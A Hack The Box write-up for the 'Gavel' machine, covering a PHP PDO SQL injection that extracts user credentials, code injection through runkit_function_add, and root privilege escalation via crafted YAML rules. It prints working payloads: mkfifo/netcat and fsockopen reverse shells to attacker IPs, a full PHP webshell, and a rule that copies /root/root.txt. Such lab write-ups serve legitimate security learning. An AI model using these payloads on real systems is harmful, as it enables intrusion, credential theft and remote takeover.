HTB Gavel - Writeup
Probably the craziest SQLi I exploited during 4 years of CTFs. PHP code review at its finest.

- CTF: Gavel
- Difficulty: Medium
Port scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web
BAC/IDOR
This vulnerability is out of the scope of the challenge.
The endpoint /inventory.php is vulnerable to BAC/IDOR. I created 2 users and placed some bids. With user A Iâm able to see user Bâs inventory by making a POST request and changing the parameter user_id with other ids.

In the screenshot above, I can see different inventories with the same account (notice the highlighted session cookie).
Dir scan
With FFUF I found a .git directory exposed.

Dump .git
I dumped the .git directory with git-dumper.
# install
mkdir git-dumper && cd git-dumper
virtualenv .venv
pip install git-dumper
# dump
git-dumper https://vulnapp.com/.git ./dump-output
Code analysis
Credentials hunt
Credentials in includes/config.php
define('DB_HOST', 'localhost');
define('DB_NAME', 'gavel');
define('DB_USER', 'gavel');
define('DB_PASS', 'gavel');
SQLi Hunt
Thereâs a string interpolation in a query in the file inventory.htb.

The code is trying to sanitize the sort parameter. It removes backticks from user input ($sortItem) and later surrounds the cleaned value with backticks.
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$col = "`" . str_replace("`", "", $sortItem) . "`";
Finally, if $sortItem value is different from quantity, the variable $col is interpolated into the query.
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
When the sort parameter is set to an existing column (âitem_imageâ), the server executes the query correctly.

Exploit the SQLi
It took me some time to find a way to exploit this unusual vulnerable code. Looking for âphp pdo vulnerabilitiesâ, I found this article. The challenge vulnerable code is indeed based on the one in the article, except for the fact that the single backticks are not striped but replaced with two backticks.
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC); ?>
These were the original payloads in the article.
x FROM (SELECT table_name AS âx from information_schema.tables)y;#
?#%00`
These are the same payloads modified in order to obtain the DB version.
- user_id
x`Â FROM (SELECT @@version AS `'x`)y;-- - - sort
\?-- -%00

Exploit the SQLi to steal credentials:
user_idparameter:x`+FROM+(SELECT+CONCAT(username,0x3a,password)+AS+`'x`+FROM+users)y%3b--+-sortparameter:\?;-- -%00
A backslash was added before the question mark to prevent breaking the query and let PDO parse it as a placeholder. The 'x part was surrounded with backticks. And finally the comment character # was replaced with -- - (double dashes and a space, the last character prevents eventual space stripings).
The sort payload work like this:
\?;-- -%00: thesortparameter is concatenated directly in the string as$colvariable. Since the concatenation is done before PDO parses the query, the question mark inserted makes PDO parse it as the first placeholder, so theuser_idpayload is inserted right after theSELECT. Finally, the NULL BYTE makes the MySQL driver ignore what comes after the injected query, to prevent failure.
Credentials exfiltrated.

Hash cracking

RCE
Since in the admin panel you can modify bids descriptions and rules, itâs worth it taking a look at how these parameters are handled.

When a user makes a bid, a request is sent to includes/bid_handler.php. The file checks if the bid is generally valid first (enough money, the new bid is bigger than the actual one, etc), then, it checks the bid against a custom rule, created by the auctioneer user for the single auctions.
Every time a bid is made and generally validated, the rule specified by the auctioneer for the single auction is queried from the DB and added at runtime to the code by the function runkit_function_add.

The function lets users add arbitrary code as a new function called âruleCheckâ.
Exploit the RCE
I tried to directly execute oneline reverse shells, but the connection closes immediately.
system('rm /tmp/p;mkfifo /tmp/p;cat /tmp/p|sh -i 2>&1|nc 10.10.14.84 4444 >/tmp/p');
Maybe itâs not the best way to exploit this flaw, but itâs the fastest that occurred to my mind: dropping a webshell on the target.
fwrite(fopen("webme.php", "w"), '<html><body><form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\'] . \' 2>&1\');}?></pre></body></html>');

From there Iâve been able to spawn an mkfifo reverse shell and connect from my terminal.
I created a script to automate the exploit process (GitHub link).

Usage: python3 gavel_rce.py -s <SESSION_COOKIE> -lh <LHOST> -lp <LPORT> -i <AUCTION_ID>
The flags -w and -f are optional:
-w: web shell name (default: âwebsh.phpâ)-f: FIFO file name (default: âpâ)
Privilege Escalation
The user auctioneerâs password is the same dumped from the database (it doesnât work from SSH).

User auctioneer is member of the custom group âgavel-sellerâ. Using find to search for files owned by that group, I found the executable gavel-utils.
find / -group gavel-seller 2>/dev/null
The executable accept YAML files with bidding items details, judging from the required fields.

The logic behind this privilege escalation, is the same of the RCE in the webapp. The rule filed must be handled by the runkit_function_add again.
After some testing, trying to run commands on the host with system() and being blocked by the PHP sandbox, I opted for a simple flag exfiltration with PHP file reading a writing functions.
name: get root flag
description: get root flag
image: none.png
price: 100
rule_msg: root flag
rule: file_put_contents('/home/auctioneer/readme.txt', file_get_contents('/root/root.txt'), );return false;
Save the previous code to a YAML file. Make sure you create the file readme.txt before executing gavel-utils, so PHP does not create it with root privileges making it unreadable for others.
touch ~/readme.txt
gavel-utils submit get_flag.yaml
cat ~/readme.txt
A reverse shell can be also obtained with the fsockopen function.
name: revsh
description: revshells.com
image: none.png
price: 100
rule_msg: root me!
rule: $sock=fsockopen("10.10.15.178",9001);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
Even if gavel-utils returns the error âIllegal rule or sandbox violation.SANDBOX_RETURN_ERRORâ, the target spawns a root shell and connects on the listening port.
